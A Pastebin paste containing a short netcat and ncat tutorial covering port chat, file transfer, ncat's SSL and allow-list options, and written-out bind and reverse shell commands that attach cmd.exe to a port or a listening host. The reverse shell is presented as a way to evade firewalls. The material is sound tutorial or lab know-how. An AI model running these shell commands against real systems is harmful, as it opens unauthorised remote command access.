Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Netcat
- ======
- **Netcat** known as a *Swiss Army Knfe* that can read and write to TCP and UDP
- ports.This tools can handle the following functionalities.
- 1. Connecting/Listening to a TCP/UDP Port.
- 2. File Transfer.
- 3. Remote Administration.
- ### Connecting/Listening to a TCP/UDP Port
- Netcat can be use as both server and client listening to a given port.A good
- example of this is a simple chat application.
- Server: A server listening to port 3333 from any incoming connection
- ```shell
- $ nc -lvp 3333
- listening on [any] 3333 ...
- ```
- Client: Connecting to The server on port 3333
- ```shell
- $ nc 192.168.100.24 3333
- ```
- Once we are connected anything we type from the console will be shown
- to the server console.
- ### File Transfer
- Netcat can be used to transfer files from one host to another. This is effective
- for small size since no information is provided while transfering the file.
- Server: `exploit.exe` our file transfered.
- ```shell
- $ nc -vlp 3333 > exploit.exe
- ```
- Client: transfer file to above server.
- ```shell
- $ nc 192.168.100.14 < exploit.exe
- ```
- ### Remote Administration
- Netcat can also be used to do command redirection for administration such as.
- + Netcat Bind Shell
- + Netcat Reverse Shell
- ###### Netcat Bind Shell
- Netcat can be used to bind a shell to a specific port so a remote host can
- connect to it. Example:
- Windows: As our server and will bind the `cmd.exe` to port 3333
- ```shell
- C:\Windows>nc -lvp 3333 -e cmd.exe
- ```
- Linux: As our client to connect to port 3333
- ```shell
- $ nc 192.168.100.14 3333
- Microsoft Windows XP [Version 5.1.2600]
- (C) Copyright 1985-2001 Microsoft Corp.
- C:\Windows>ipconfig
- ipconfig
- Windows IP Configuration
- Ethernet adapter Local Area Connection:
- Connection-specific DNS Suffix . :
- IP Address. . . . . . . . . . . . : 10.0.2.15
- Subnet Mask . . . . . . . . . . . : 255.255.255.0
- Default Gateway . . . . . . . . . : 10.0.2.2
- Ethernet adapter Local Area Connection 3:
- Connection-specific DNS Suffix . :
- IP Address. . . . . . . . . . . . : 192.168.100.14
- Subnet Mask . . . . . . . . . . . : 255.255.255.0
- Default Gateway . . . . . . . . . : 192.168.100.1
- Ethernet adapter Local Area Connection 2:
- Connection-specific DNS Suffix . :
- IP Address. . . . . . . . . . . . : 192.168.56.74
- Subnet Mask . . . . . . . . . . . : 255.255.255.0
- Default Gateway . . . . . . . . . : 192.168.56.64
- C:\Windows>
- ```
- ###### Bind Reverse Shell
- It's similar to Bind Shell the only difference is that it sends command shell to a
- listening host.This feature is useful when you want to evade firewall.
- Linux: listening host on port 3333
- ```shell
- $ nc -lvp 3333
- listening on [any] 3333 ...
- ```
- Windows: Connect to a listening host and send it command shells.
- ```shell
- C:\Windows>nc 192.168.100.6 3333 -e cmd.exe
- ```
- Ncat
- ====
- Ncat is a more improved version of `netcat` that support
- encryption,authentication and allow a specific host to connect to.
- ```shell
- $ ncat -vlp 3333 --allow 192.168.100.6 --ssl
- ```
- Above command create an encrypted session using ssl and only allow host
- 192.168.100.6 to connect to it.
Add Comment
Please, Sign In to add comment